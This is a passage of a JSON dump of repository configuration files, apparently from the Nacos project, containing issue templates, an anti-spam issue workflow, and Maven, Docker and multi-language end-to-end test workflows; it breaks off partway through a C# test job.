[
  {
    "path": ".gitattributes",
    "content": "*.js linguist-language=java\n*.css linguist-language=java\n*.html linguist-language=java\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/bug-report.md",
    "content": "---\nname: Bug report\nabout: Create a report to help us improve\ntitle: ''\nlabels: ''\nassignees: ''\n\n---\n\n<!-- Here is for bug reports and feature requests ONLY! \n\nIf you're looking for help, please check our mail list、WeChat group and the Gitter room.\n\nPlease try to use English to describe your issue, or at least provide a snippet of English translation.\n我们鼓励使用英文，如果不能直接使用，可以使用翻译软件，您仍旧可以保留中文原文。\n-->\n\n**Describe the bug**\nA clear and concise description of what the bug is.\n\n**Expected behavior**\nA clear and concise description of what you expected to happen.\n\n**Actually behavior**\nA clear and concise description of what you actually to happen.\n\n**How to Reproduce**\nSteps to reproduce the behavior:\n1. Go to '...'\n2. Click on '....'\n3. Scroll down to '....'\n4. See errors\n\n**Desktop (please complete the following information):**\n - OS: [e.g. Centos]\n - Version [e.g. nacos-server 1.3.1, nacos-client 1.3.1]\n - Module [e.g. naming/config]\n - SDK [e.g. original, spring-cloud-alibaba-nacos, dubbo]\n\n**Additional context**\nAdd any other context about the problem here.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/config.yml",
    "content": "blank_issues_enabled: false\ncontact_links:\n  - name: Questions\n    url: https://github.com/alibaba/nacos/discussions\n    about: For questions and discussions. Bug reports and feature requests should use the templates above.\n  - name: Security Vulnerabilities\n    url: https://security.alibaba.com\n    about: Report security vulnerabilities to ASRC (Alibaba Security Response Center).\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.md",
    "content": "---\nname: Feature request\nabout: Suggest an idea for this project\ntitle: ''\nlabels: ''\nassignees: ''\n\n---\n\n<!-- Here is for bug reports and feature requests ONLY! \n\nIf you're looking for help, please check our mail list、WeChat group and the Gitter room.\n\nPlease try to use English to describe your issue, or at least provide a snippet of English translation.\n我们鼓励使用英文，如果不能直接使用，可以使用翻译软件，您仍旧可以保留中文原文。\n-->\n\n**Is your feature request related to a problem? Please describe.**\nA clear and concise description of what the problem is. Ex. I'm always frustrated when [...]\n\n**Describe the solution you'd like**\nA clear and concise description of what you want to happen.\n\n**Describe alternatives you've considered**\nA clear and concise description of any alternative solutions or features you've considered.\n\n**Additional context**\nAdd any other context or screenshots about the feature request here.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE.md",
    "content": "<!-- Here is for bug reports and feature requests ONLY! \n\nIf you're looking for help, please check our mail list、WeChat group and the Gitter room.\n\nPlease try to use English to describe your issue, or at least provide a snippet of English translation.\n我们鼓励使用英文，如果不能直接使用，可以使用翻译软件，您仍旧可以保留中文原文。\n-->\n\n## Issue Description\n\nType: *bug report* or *feature request*\n\n### Describe what happened (or what feature you want)\n\n\n### Describe what you expected to happen\n\n\n### How to reproduce it (as minimally and precisely as possible)\n\n1. \n2. \n3. \n\n### Tell us your environment\n\n\n### Anything else we need to know?\n"
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE.md",
    "content": "Please do not create a Pull Request without creating an issue first.\n\n## What is the purpose of the change\n\nXXXXX\n\n## Brief changelog\n\nXX\n\n## Verifying this change\n\nXXXX\n\nFollow this checklist to help us incorporate your contribution quickly and easily:\n\n* [ ] Make sure there is a Github issue filed for the change (usually before you start working on it). Trivial changes like typos do not require a Github issue. Your pull request should address just this issue, without pulling in other changes - one PR resolves one issue.\n* [ ] Format the pull request title like `[ISSUE #123] Fix UnknownException when host config not exist`. Each commit in the pull request should have a meaningful subject line and body.\n* [ ] Write a pull request description that is detailed enough to understand what the pull request does, how, and why.\n* [ ] Write necessary unit-test to verify your logic correction, more mock a little better when cross module dependency exist. If the new feature or significant change is committed, please remember to add integration-test in [test module](https://github.com/alibaba/nacos/tree/master/test).\n* [ ] Run `mvn -B clean package apache-rat:check spotbugs:check -DskipTests` to make sure basic checks pass. Run `mvn clean install -DskipITs` to make sure unit-test pass. Run `mvn clean test-compile failsafe:integration-test`  to make sure integration-test pass.\n\n"
  },
  {
    "path": ".github/workflows/anti-spam.yml",
    "content": "name: Anti-Spam Protection\n\non:\n  issues:\n    types: [opened, edited]\n\npermissions:\n  issues: write\n\njobs:\n  spam-detection:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Check for spam\n        uses: actions/github-script@v7\n        with:\n          script: |\n            const issue = context.payload.issue;\n            const title = issue.title.toLowerCase();\n            const body = (issue.body || '').toLowerCase();\n            const author = issue.user.login;\n            const authorAssociation = issue.author_association;\n\n            // Skip if author is a member, collaborator, or owner\n            if (['MEMBER', 'COLLABORATOR', 'OWNER'].includes(authorAssociation)) {\n              console.log(`Skipping spam check for ${authorAssociation}: ${author}`);\n              return;\n            }\n\n            // Get user details via API to calculate account age\n            let accountAgeDays = 365; // Default to old account if API fails\n            try {\n              const { data: userData } = await github.rest.users.getByUsername({\n                username: author\n              });\n              const authorCreatedAt = new Date(userData.created_at);\n              const now = new Date();\n              accountAgeDays = (now - authorCreatedAt) / (1000 * 60 * 60 * 24);\n              console.log(`Account ${author} created at ${userData.created_at}, age: ${accountAgeDays.toFixed(1)} days`);\n            } catch (error) {\n              console.log(`Failed to get user info for ${author}: ${error.message}`);\n            }\n\n            // Spam keywords - airlines and travel-related spam\n            const spamKeywords = [\n              // Airlines\n              'lufthansa', 'emirates', 'klm', 'turkish airlines', 'singapore airlines',\n              'aer lingus', 'sas airlines', 'qatar airways', 'british airways',\n              'american airlines', 'united airlines', 'delta airlines', 'air france',\n              'swiss air', 'austrian airlines', 'tap portugal', 'air canada',\n              'air europa', 'ita airways',\n              // Italian terms\n              'telefono', 'rimborso', 'volo', 'biglietto', 'prenotazione',\n              'annullare', 'cancellare', 'modifica', 'gestire', 'chiamare',\n              'numero di telefono', 'contattare', 'assistenza clienti',\n              // German terms\n              'kontakt', 'buchen', 'kundenservice', 'hotline', 'kundendienst',\n              'buchung', 'stornieren', 'umbuchung', 'erreichen', 'telefonnummer',\n              // French terms\n              'billet', 'réservation', 'annuler', 'rembours', 'vol',\n              'contacter', 'numéro', 'téléphone', 'modifier', 'payer',\n              // Common spam patterns\n              'customer service number', 'booking number', 'flight cancel',\n              'refund process', 'how to contact', 'toll free', 'helpline',\n              '1-800', '1-888', '1-877', '1-866'\n            ];\n\n            // Check content for spam keywords\n            const contentToCheck = title + ' ' + body;\n            const matchedKeywords = spamKeywords.filter(kw => contentToCheck.includes(kw));\n\n            // Check for phone number patterns (3+ phone numbers is suspicious)\n            const phonePatterns = [\n              /\\+\\d{1,3}[\\s-]?\\d{2,4}[\\s-]?\\d{3,4}[\\s-]?\\d{3,4}/g,  // International format\n              /\\d{3}[\\s.-]?\\d{3}[\\s.-]?\\d{4}/g                       // US/common format\n            ];\n            let phoneCount = 0;\n            for (const pattern of phonePatterns) {\n              const matches = contentToCheck.match(pattern) || [];\n              phoneCount += matches.length;\n            }\n            const hasExcessivePhones = phoneCount >= 2;\n\n            // Spam detection rules:\n            // 1. Match 2+ spam keywords\n            // 2. New account (< 7 days) + 1 spam keyword\n            // 3. 2+ phone numbers in content\n            const isSpam = matchedKeywords.length >= 2 ||\n                          (accountAgeDays < 7 && matchedKeywords.length >= 1) ||\n                          hasExcessivePhones;\n\n            if (isSpam) {\n              console.log(`Spam detected in issue #${issue.number}`);\n              console.log(`Author: ${author}, Account age: ${accountAgeDays.toFixed(1)} days`);\n              console.log(`Matched keywords: ${matchedKeywords.join(', ')}`);\n              console.log(`Phone numbers found: ${phoneCount}`);\n\n              // Add spam label\n              await github.rest.issues.addLabels({\n                owner: context.repo.owner,\n                repo: context.repo.repo,\n                issue_number: issue.number,\n                labels: ['spam']\n              });\n\n              // Add comment\n              await github.rest.issues.createComment({\n                owner: context.repo.owner,\n                repo: context.repo.repo,\n                issue_number: issue.number,\n                body: `This issue has been automatically detected as spam and will be closed.\\n\\n` +\n                      `If this is a legitimate issue, please create a new issue using the [issue template](https://github.com/${context.repo.owner}/${context.repo.repo}/issues/new/choose).\\n\\n` +\n                      `---\\n` +\n                      `此 Issue 被自动检测为垃圾信息，将被关闭。如果这是一个合法的问题，请使用 [Issue 模板](https://github.com/${context.repo.owner}/${context.repo.repo}/issues/new/choose) 重新创建。`\n              });\n\n              // Close issue\n              await github.rest.issues.update({\n                owner: context.repo.owner,\n                repo: context.repo.repo,\n                issue_number: issue.number,\n                state: 'closed',\n                state_reason: 'not_planned'\n              });\n\n              // Lock issue\n              await github.rest.issues.lock({\n                owner: context.repo.owner,\n                repo: context.repo.repo,\n                issue_number: issue.number,\n                lock_reason: 'spam'\n              });\n\n              console.log(`Issue #${issue.number} closed and locked as spam`);\n            } else {\n              console.log(`No spam detected in issue #${issue.number}`);\n              console.log(`Matched keywords: ${matchedKeywords.length}, Phone numbers: ${phoneCount}, Account age: ${accountAgeDays.toFixed(1)} days`);\n            }\n"
  },
  {
    "path": ".github/workflows/ci.yml",
    "content": "# This workflow will build a Java project with Maven\n# For more information see: https://help.github.com/actions/language-and-framework-guides/building-and-testing-java-with-maven\n\nname: \"Continuous Integration\"\n\non:\n  push:\n    branches: [ develop, v2.x-develop ]\n  pull_request:\n    branches: [ develop, v2.x-develop ]\n\npermissions: read-all\n\njobs:\n  ci:\n    runs-on: ubuntu-latest\n    timeout-minutes: 60\n    steps:\n      - name: \"Cache Maven Repos\"\n        uses: actions/cache@v4\n        with:\n          path: ~/.m2/repository\n          key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }}\n          restore-keys: |\n            ${{ runner.os }}-maven-\n      - name: \"Checkout\"\n        uses: actions/checkout@v4\n      - name: \"Set up JDK 17\"\n        uses: actions/setup-java@v4\n        with:\n          java-version: 17\n          distribution: 'zulu'\n      - name: \"Print maven version\"\n        run: mvn -version\n      - name: \"Check with Maven\"\n        run: mvn -B clean compile apache-rat:check spotbugs:check -e -Dorg.slf4j.simpleLogger.log.org.apache.maven.cli.transfer.Slf4jMavenTransferListener=warn\n      - name: \"Build and Test with Maven\"\n        run: mvn -B '-Prelease-nacos,!dev' clean install -Drat.skip=true -Dspotbugs.skip=true -DtrimStackTrace=false -U -e -Dorg.slf4j.simpleLogger.log.org.apache.maven.cli.transfer.Slf4jMavenTransferListener=warn\n      - name: \"Upload coverage to Codecov\"\n        uses: codecov/codecov-action@v5\n        with:\n          token: ${{ secrets.CODECOV_TOKEN }}\n          fail_ci_if_error: false\n          verbose: true\n          files: ./core/target/site/jacoco/jacoco.xml,./plugin-default-impl/nacos-default-auth-plugin/target/site/jacoco/jacoco.xml,./plugin-default-impl/nacos-default-control-plugin/target/site/jacoco/jacoco.xml,./plugin-default-impl/nacos-default-datasource-plugin/nacos-datasource-plugin-base/target/site/jacoco/jacoco.xml,./plugin-default-impl/nacos-default-datasource-plugin/nacos-datasource-plugin-mysql/target/site/jacoco/jacoco.xml,./plugin-default-impl/nacos-default-datasource-plugin/nacos-datasource-plugin-derby/target/site/jacoco/jacoco.xml,./plugin-default-impl/nacos-default-datasource-plugin/nacos-datasource-plugin-postgresql/target/site/jacoco/jacoco.xml,./plugin-default-impl/nacos-default-datasource-plugin/nacos-datasource-plugin-oracle/target/site/jacoco/jacoco.xml,./config/target/site/jacoco/jacoco.xml,./auth/target/site/jacoco/jacoco.xml,./plugin/encryption/target/site/jacoco/jacoco.xml,./plugin/datasource/target/site/jacoco/jacoco.xml,./plugin/trace/target/site/jacoco/jacoco.xml,./plugin/config/target/site/jacoco/jacoco.xml,./plugin/auth/target/site/jacoco/jacoco.xml,./plugin/environment/target/site/jacoco/jacoco.xml,./plugin/control/target/site/jacoco/jacoco.xml,./lock/target/site/jacoco/jacoco.xml,./logger-adapter-impl/log4j2-adapter/target/site/jacoco/jacoco.xml,./logger-adapter-impl/logback-adapter-12/target/site/jacoco/jacoco.xml,./consistency/target/site/jacoco/jacoco.xml,./common/target/site/jacoco/jacoco.xml,./sys/target/site/jacoco/jacoco.xml,./ai/target/site/jacoco/jacoco.xml,./naming/target/site/jacoco/jacoco.xml,./client-basic/target/site/jacoco/jacoco.xml,./address/target/site/jacoco/jacoco.xml,./persistence/target/site/jacoco/jacoco.xml,./api/target/site/jacoco/jacoco.xml,./maintainer-client/target/site/jacoco/jacoco.xml,./prometheus/target/site/jacoco/jacoco.xml,./client/target/site/jacoco/jacoco.xml,./console/target/site/jacoco/jacoco.xml"
  },
  {
    "path": ".github/workflows/it.yml",
    "content": "# This workflow will build a Java project with Maven\n# For more information see: https://help.github.com/actions/language-and-framework-guides/building-and-testing-java-with-maven\n\nname: \"Integration Test For 2.X\"\n\non:\n  push:\n    branches: [ v2.x-develop ]\n  pull_request:\n    branches: [ v2.x-develop ]\n\npermissions:\n  contents: read # to fetch code (actions/checkout)\n\njobs:\n  test:\n    runs-on: ${{ matrix.os }}\n    strategy:\n      matrix:\n        os: [ubuntu-latest]\n        java: [8, 8.0.192, 11, 11.0.3]\n    steps:\n      - name: \"Cache Maven Repos\"\n        uses: actions/cache@v3\n        with:\n          path: ~/.m2/repository\n          key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }}\n          restore-keys: |\n            ${{ runner.os }}-maven-\n      - name: \"Checkout\"\n        uses: actions/checkout@v3\n      - name: \"Set up JDK ${{ matrix.java }}\"\n        uses: actions/setup-java@v3\n        with:\n          java-version: ${{ matrix.java }}\n          distribution: 'zulu'\n          architecture: x64\n      - name: \"Print maven version\"\n        run: mvn -version\n      - name: \"Test Config\"\n        run: mvn clean package -Pcit-test -e -Dorg.slf4j.simpleLogger.log.org.apache.maven.cli.transfer.Slf4jMavenTransferListener=warn\n      - name: \"Clean Env\"\n        run: mvn clean -Premove-test-data -e -Dorg.slf4j.simpleLogger.log.org.apache.maven.cli.transfer.Slf4jMavenTransferListener=warn\n      - name: \"Test Naming\"\n        run: mvn clean package -Pnit-test -e -Dorg.slf4j.simpleLogger.log.org.apache.maven.cli.transfer.Slf4jMavenTransferListener=warn\n      - name: \"Clean Env\"\n        run: mvn clean -Premove-test-data -e -Dorg.slf4j.simpleLogger.log.org.apache.maven.cli.transfer.Slf4jMavenTransferListener=warn\n\n"
  },
  {
    "path": ".github/workflows/pr-ci.yml",
    "content": "name: PR-CI\n\non:\n  pull_request:\n    branches: [ develop, v2.x-develop ]\n\njobs:\n  dist-tar:\n    name: Build distribution tar\n    runs-on: ubuntu-latest\n    timeout-minutes: 120\n    steps:\n      - uses: actions/checkout@v3\n        with:\n          submodules: true\n      - uses: actions/setup-java@v3\n        with:\n          distribution: \"temurin\"\n          java-version: \"17\"\n          cache: \"maven\"\n      - name: Build distribution tar\n        run: |\n          mvn '-Prelease-nacos,!dev' -DskipTests clean install -U -e -Dorg.slf4j.simpleLogger.log.org.apache.maven.cli.transfer.Slf4jMavenTransferListener=warn\n      - uses: actions/upload-artifact@v4\n        name: Upload distribution tar\n        with:\n          name: nacos\n          path: distribution/target/nacos-server-*.tar.gz\n      - name: Save PR number\n        run: |\n          mkdir -p ./pr\n          echo ${{ github.event.pull_request.number }} > ./pr/pr.txt\n      - uses: actions/upload-artifact@v4\n        name: Upload PR number\n        with:\n          name: pr\n          path: pr/pr.txt\n"
  },
  {
    "path": ".github/workflows/pr-comment.yml",
    "content": "name: \"Comment on PR\"\n\non:\n  pull_request_target:\n    types: [opened, reopened]\n\njobs:\n  thanks-and-hint-to-document:\n    runs-on: ubuntu-latest\n    permissions:\n      pull-requests: write\n    name: Say thanks for the PR and hint to document\n    steps:\n      - name: comment on the pull request\n        uses: hasura/comment-progress@v2.3.0\n        with:\n          github-token: ${{ secrets.GITHUB_TOKEN }}\n          repository: ${{ github.repository }}\n          number: ${{ github.event.number }}\n          id: thanks-and-hint-to-document\n          recreate: true\n          message: |\n            Thanks for your this PR.  :pray: \n            Please check again for your PR changes whether contains any usage/api/configuration change such as `Add new API `, `Add new configuration`, `Change default value of configuration`.\n            If so, please add or update documents(markdown type) in `docs/next/` for repository [nacos-group/nacos-group.github.io](https://github.com/nacos-group/nacos-group.github.io/tree/develop-astro-nacos/src/content/docs/next)\n            \n            ---\n            \n            感谢您提交的PR。 :pray: \n            请再次查看您的PR内容，确认是否包含任何使用方式/API/配置参数的变更，如：`新增API`、`新增配置参数`、`修改默认配置`等操作。\n            如果是，请确保在提交之前，在仓库[nacos-group/nacos-group.github.io](https://github.com/nacos-group/nacos-group.github.io/tree/develop-astro-nacos/src/content/docs/next)中的`docs/next/`目录下添加或更新文档（markdown格式）。\n"
  },
  {
    "path": ".github/workflows/pr-e2e-test.yml",
    "content": "name: E2E test for pull request\n\n\non:\n  workflow_run:\n    workflows: [\"PR-CI\"]\n    types:\n      - completed\n\nenv:\n  DOCKER_REPO: wuyfeedocker/nacos-ci\n  DOCKER_REPO_B: wuyfeehub/nacos-ci\n  TEST_REPO_NAME: nacos-group/nacos-e2e\n  HEADER_PARAMS: \"-H \\\"Accept: application/vnd.github+json\\\" -H \\\"Authorization: Bearer ${{ secrets.ACTION_TOKEN }}\\\" -H \\\"X-GitHub-Api-Version: 2022-11-28\\\"\"\n  HEADER_PARAMS_WRITE_COMMENT: \"-H \\\"Accept: application/vnd.github+json\\\" -H \\\"Authorization: Bearer ${{ secrets.ACTION_TOKEN }}\\\" -H \\\"X-GitHub-Api-Version: 2022-11-28\\\"\"\n  BASE_URL_NACOS: https://api.github.com/repos/${GITHUB_REPOSITORY}\n  BASE_URL_ROBOT: https://api.github.com/repos/wuyfee/nacos\n\njobs:\n  docker:\n    runs-on: ubuntu-latest\n    if: >\n      github.event.workflow_run.event == 'pull_request' &&\n      github.event.workflow_run.conclusion == 'success'\n    timeout-minutes: 30\n    strategy:\n      matrix:\n        base-image: [\"ubuntu\"]\n        java-version: [\"17\"]\n    outputs:\n      version-json: ${{ steps.show_versions.outputs.version-json }}\n    steps:\n      - name: 'Download artifact'\n        uses: actions/github-script@v6\n        with:\n          script: |\n            let artifacts = await github.rest.actions.listWorkflowRunArtifacts({\n               owner: context.repo.owner,\n               repo: context.repo.repo,\n               run_id: ${{ github.event.workflow_run.id }},\n            });\n            let matchArtifactNacos = artifacts.data.artifacts.filter((artifact) => {\n               return artifact.name == \"nacos\"\n            })[0];\n            let download = await github.rest.actions.downloadArtifact({\n               owner: context.repo.owner,\n               repo: context.repo.repo,\n               artifact_id: matchArtifactNacos.id,\n               archive_format: 'zip',\n            });\n            var fs = require('fs');\n            fs.writeFileSync('${{github.workspace}}/nacos.zip', Buffer.from(download.data));\n      - run: |\n          unzip nacos.zip\n          mkdir nacos\n          cp -r nacos-* nacos/\n      - uses: actions/checkout@v3\n        with:\n          repository: nacos-group/nacos-e2e.git\n          ref: main\n          path: nacos-e2e\n      - name: Generate image tag\n        id: build-images\n        run: |\n          mv nacos-server-*.tar.gz nacos-e2e/cicd/build\n          cd nacos-e2e/cicd/build\n          version=${{ github.event.pull_request.number || github.ref_name }}-$(uuidgen)\n          mkdir versionlist\n          touch versionlist/\"${version}-`echo ${{ matrix.java-version }} | sed -e \"s/:/-/g\"`\"\n          ls versionlist/\n          echo TAG=${version}-$(echo ${{ matrix.java-version }} | sed -e \"s/:/-/g\") >> $GITHUB_ENV\n      - name: docker-login-1\n        uses: docker/login-action@v2\n        with:\n          registry: ${{ env.REGISTRY }}\n          username: ${{ secrets.DOCKERHUB_USER }}\n          password: ${{ secrets.DOCKERHUB_TOKEN }}\n      - name: save docker_1 images\n        run: |\n          mkdir build_backup\n          cp -rf nacos-e2e/cicd/build/* ./build_backup/\n          cd nacos-e2e/cicd/build\n          docker build --no-cache -f Dockerfile -t ${DOCKER_REPO}:${{ env.TAG }} .\n          docker push ${DOCKER_REPO}:${{ env.TAG }}\n      - name: docker-login-2\n        uses: docker/login-action@v2\n        with:\n          registry: ${{ env.REGISTRY }}\n          username: ${{ secrets.DOCKERHUB_USER_B }}\n          password: ${{ secrets.DOCKERHUB_TOKEN_B }}\n      - name: save docker_2 images\n        run: |\n          rm -rf nacos-e2e/cicd/build/*\n          mv ./build_backup/* nacos-e2e/cicd/build/\n          cd nacos-e2e/cicd/build\n          docker build --no-cache -f Dockerfile -t ${DOCKER_REPO_B}:${{ env.TAG }} .\n          docker push ${DOCKER_REPO_B}:${{ env.TAG }}\n      - name: Show versions\n        id: show_versions\n        run: |\n          a=(`ls nacos-e2e/cicd/build/versionlist`)\n          printf '%s\\n' \"${a[@]}\" | jq -R . | jq -s .\n          echo version-json=`printf '%s\\n' \"${a[@]}\" | jq -R . | jq -s .` >> $GITHUB_OUTPUT\n\n  deploy:\n    if: ${{ success() }}\n    name: Deploy nacos\n    needs: [docker]\n    runs-on: ubuntu-latest\n    timeout-minutes: 60\n    env:\n      REPLICA_COUNT: 3\n      DATABASE: mysql\n      NODE_PORT: 30000\n      AUTH_ENABLED: false\n      ACTUAL_MODE: cluster\n    strategy:\n      fail-fast: false\n      matrix:\n        mode: [\"cluster\",\"standalone\",\"standalone_auth\"]\n        version: ${{ fromJSON(needs.docker.outputs.version-json) }}\n    steps:\n      - name: set nodeport\n        run: |\n          echo \"NODE_PORT=$(expr $(expr $(expr $(expr ${{ strategy.job-index }} + 1) * ${{ github.run_number }}) % 30000) + 30000)\" >> $GITHUB_ENV\n      - name: set params values\n        run: |\n          if [[ ${{ matrix.mode }} == \"standalone\"* ]];then\n            if [[ ${{ matrix.mode }} = \"standalone_auth\" ]]; then\n              echo \"AUTH_ENABLED=true\" >> $GITHUB_ENV\n            fi\n            echo \"ACTUAL_MODE=standalone\" >> $GITHUB_ENV\n            echo \"REPLICA_COUNT=1\" >> $GITHUB_ENV\n            echo \"DATABASE=embedded\" >> $GITHUB_ENV\n            echo ${{ matrix.mode }}-nacos-${{ github.run_id }}-${{ strategy.job-index }}\n          fi\n      - name: allocate docker repo\n        run: |\n          if [[ $(expr $(expr ${{ github.run_id }} + ${{ strategy.job-index }} ) % 2 ) -eq 1 ]]; then\n            echo \"DOCKER_REPO_ACTUAL=${{ env.DOCKER_REPO }}\" >> $GITHUB_ENV\n          else\n            echo \"DOCKER_REPO_ACTUAL=${{ env.DOCKER_REPO_B }}\" >> $GITHUB_ENV\n          fi\n      - uses: apache/rocketmq-test-tool@java-dev\n        name: Deploy nacos\n        with:\n          yamlString: |\n            action: deploy\n            namespace: nacos-${{ github.run_id }}-${{ strategy.job-index }}\n            askConfig: ${{ secrets.ASK_CONFIG_VIRGINA }}\n            waitTimes: 2000\n            velaAppDescription: nacos-${{ env.GITHUB_WORKFLOW }}-${{ github.run_id }}@${{ matrix.version }}\n            repoName: nacos\n            helm:\n              chart: ./cicd/helm\n              git:\n                branch: main\n              repoType: git\n              retries: 3\n              url: https://github.com/nacos-group/nacos-e2e.git\n              values:\n                namespace: nacos-${{ github.run_id }}-${{ strategy.job-index }}\n                global:\n                  mode: ${{ env.ACTUAL_MODE }}\n                nacos:\n                  replicaCount: ${{ env.REPLICA_COUNT }}\n                  image:\n                    repository: ${{ env.DOCKER_REPO_ACTUAL }}\n                    tag: ${{ matrix.version }}\n                  auth:\n                    enabled: ${{ env.AUTH_ENABLED }}\n                  storage:\n                    type: ${{ env.DATABASE }}\n                    db:\n                      port: 3306\n                      username: nacos\n                      password: nacos\n                      param: characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true&useSSL=false\n                service:\n                  nodePort: ${{ env.NODE_PORT }}\n                  type: ClusterIP\n\n  e2e-java-test:\n    if: ${{ success() }}\n    name: Java e2e Test\n    needs: [docker, deploy]\n    runs-on: ubuntu-latest\n    timeout-minutes: 60\n    env:\n      CODE_PATH: java/nacos-2X\n    strategy:\n      fail-fast: false\n      matrix:\n        mode: [\"cluster\",\"standalone\",\"standalone_auth\"]\n        version: ${{ fromJSON(needs.docker.outputs.version-json) }}\n    steps:\n      - name: set code path\n        run: |\n          if [[ ${{ matrix.mode }} = \"standalone_auth\" ]]; then\n            echo \"CODE_PATH=java/auth\" >> $GITHUB_ENV\n            echo ${{ matrix.mode }}-nacos-${{ github.run_id }}-${{ strategy.job-index }}\n          fi\n      - uses: apache/rocketmq-test-tool@java-dev\n        name: java e2e test\n        with:\n          yamlString: |\n            action: test\n            namespace: nacos-${{ github.run_id }}-${{ strategy.job-index }}\n            askConfig: ${{ secrets.ASK_CONFIG_VIRGINA }}\n            API_VERSION: v1\n            KIND: Pod\n            RESTART_POLICY: Never\n            ENV:\n              WAIT_TIME: 900\n              REPO_NAME: ${{ env.TEST_REPO_NAME }}\n              CODE: https://github.com/${{ env.TEST_REPO_NAME }}\n              BRANCH: main\n              CODE_PATH: ${{ env.CODE_PATH }}\n              CMD: mvn clean test -B\n              ALL_IP: null\n            CONTAINER:\n              IMAGE: cloudnativeofalibabacloud/test-runner:v0.0.4\n              RESOURCE_LIMITS:\n                cpu: 2\n                memory: 2Gi\n              RESOURCE_REQUIRE:\n                cpu: 2\n                memory: 2Gi\n      - uses: actions/upload-artifact@v4\n        if: always()\n        name: Upload test log\n        with:\n          name: testlog-${{ matrix.mode }}-java.txt\n          path: testlog.txt\n      - name: add markdown\n        if: always()\n        run: |\n          cat result.md >> $GITHUB_STEP_SUMMARY\n\n\n  e2e-go-test:\n    if: ${{ success() }}\n    name: GO E2E Test\n    needs: [docker, deploy]\n    runs-on: ubuntu-latest\n    timeout-minutes: 60\n    strategy:\n      fail-fast: false\n      matrix:\n        mode: [\"cluster\",\"standalone\"]\n        version: ${{ fromJSON(needs.docker.outputs.version-json) }}\n    steps:\n      - uses: apache/rocketmq-test-tool@java-dev\n        name: go e2e test\n        with:\n          yamlString: |\n            action: test\n            namespace: nacos-${{ github.run_id }}-${{ strategy.job-index }}\n            askConfig: ${{ secrets.ASK_CONFIG_VIRGINA }}\n            API_VERSION: v1\n            KIND: Pod\n            RESTART_POLICY: Never\n            ENV:\n              WAIT_TIME: 900\n              REPO_NAME: ${{ env.TEST_REPO_NAME }}\n              CODE: https://github.com/${{ env.TEST_REPO_NAME }}\n              BRANCH: main\n              CODE_PATH: golang\n              CMD: |\n                cd /root/code/golang && go mod init nacos_go_test && go mod tidy\n                gotestsum --junitfile ./target/surefire-reports/TEST-report.xml ./nacosgotest\n              ALL_IP: null\n            CONTAINER:\n              IMAGE: cloudnativeofalibabacloud/test-runner:v0.0.4\n              RESOURCE_LIMITS:\n                cpu: 2\n                memory: 2Gi\n              RESOURCE_REQUIRE:\n                cpu: 2\n                memory: 2Gi\n      - uses: actions/upload-artifact@v4\n        if: always()\n        name: Upload test log\n        with:\n          name: testlog-${{ matrix.mode }}-go.txt\n          path: testlog.txt\n      - name: add markdown\n        if: always()\n        run: |\n          cat result.md >> $GITHUB_STEP_SUMMARY\n\n  e2e-cpp-test:\n    if: ${{ success() }}\n    name: Cpp E2E Test\n    needs: [docker, deploy]\n    runs-on: ubuntu-latest\n    timeout-minutes: 60\n    strategy:\n      fail-fast: false\n      matrix:\n        mode: [\"cluster\",\"standalone\"]\n        version: ${{ fromJSON(needs.docker.outputs.version-json) }}\n    steps:\n      - uses: apache/rocketmq-test-tool@java-dev\n        name: cpp e2e test\n        with:\n          yamlString: |\n            action: test\n            namespace: nacos-${{ github.run_id }}-${{ strategy.job-index }}\n            askConfig: ${{ secrets.ASK_CONFIG_VIRGINA }}\n            API_VERSION: v1\n            KIND: Pod\n            RESTART_POLICY: Never\n            ENV:\n              WAIT_TIME: 900\n              REPO_NAME: ${{ env.TEST_REPO_NAME }}\n              CODE: https://github.com/${{ env.TEST_REPO_NAME }}\n              BRANCH: main\n              CODE_PATH: cpp\n              CMD: |\n                yum-config-manager remove centos-sclo-rh\n                cd /root/code/cpp && make install\n                echo \"export LD_LIBRARY_PATH=/usr/local/lib\" >> ~/.bashrc  && source ~/.bashrc\n                cd /root/code/cpp/nacoscpptest\n                g++ nacos_test.cpp -o nacos_test -lgtest -lpthread -I/usr/local/include/nacos/ -L/usr/local/lib/  -lnacos-cli\n                chmod 777 nacos_test && ./nacos_test --gtest_output=\"xml:../target/surefire-reports/TEST-gtestresults.xml\"\n              ALL_IP: null\n            CONTAINER:\n              IMAGE: cloudnativeofalibabacloud/test-runner:v0.0.4\n              RESOURCE_LIMITS:\n                cpu: 2\n                memory: 2Gi\n              RESOURCE_REQUIRE:\n                cpu: 2\n                memory: 2Gi\n      - uses: actions/upload-artifact@v4\n        if: always()\n        name: Upload test log\n        with:\n          name: testlog-${{ matrix.mode }}-cpp.txt\n          path: testlog.txt\n      - name: add markdown\n        if: always()\n        run: |\n          cat result.md >> $GITHUB_STEP_SUMMARY\n\n  e2e-csharp-test:\n    if: ${{ success() }}\n    name: Csharp E2E Test\n    needs: [docker, deploy]\n    runs-on: ubuntu-latest\n    timeout-minutes: 60\n    strategy:\n      fail-fast: false\n      matrix:\n        mode: [\"cluster\",\"standalone\"]\n        version: ${{ fromJSON(needs.docker.outputs.version-json) }}\n    steps:\n      - uses: apache/rocketmq-test-tool@java-dev\n        name: csharp e2e test\n        with:\n          yamlString: |\n            action: test\n            namespace: nacos-${{ github.run_id }}-${{ strategy.job-index }}\n            askConfig: ${{ secrets.ASK_CONFIG_VIRGINA }}\n            API_VERSION: v1\n            KIND: Pod\n            RESTART_POLICY: Never\n            ENV:\n              WAIT_TIME: 900\n              REPO_NAME: ${{ env.TEST_REPO_NAME }}\n              CODE: https://github.com/${{ env.TEST_REPO_NAME }}\n              BRANCH: main\n              CODE_PATH: csharp\n              CMD: |\n                rpm -Uvh https://packages.microsoft.com/config/centos/7/packages-microsoft-prod.rpm\n                yum -y install dotnet-sdk-3.1 && yum -y install aspnetcore-runtime-7.0\n                cd /root/code/csharp/nacos-csharp-sdk-test && dotnet restore\n                dotnet test --logger:\"junit;LogFilePath=../target/surefire-reports/TEST-result.xml\"\n              ALL_IP: null\n            CONTAINER:\n              IMAGE: cloudnativeofalibabacloud/test-runner:v0.0.4\n              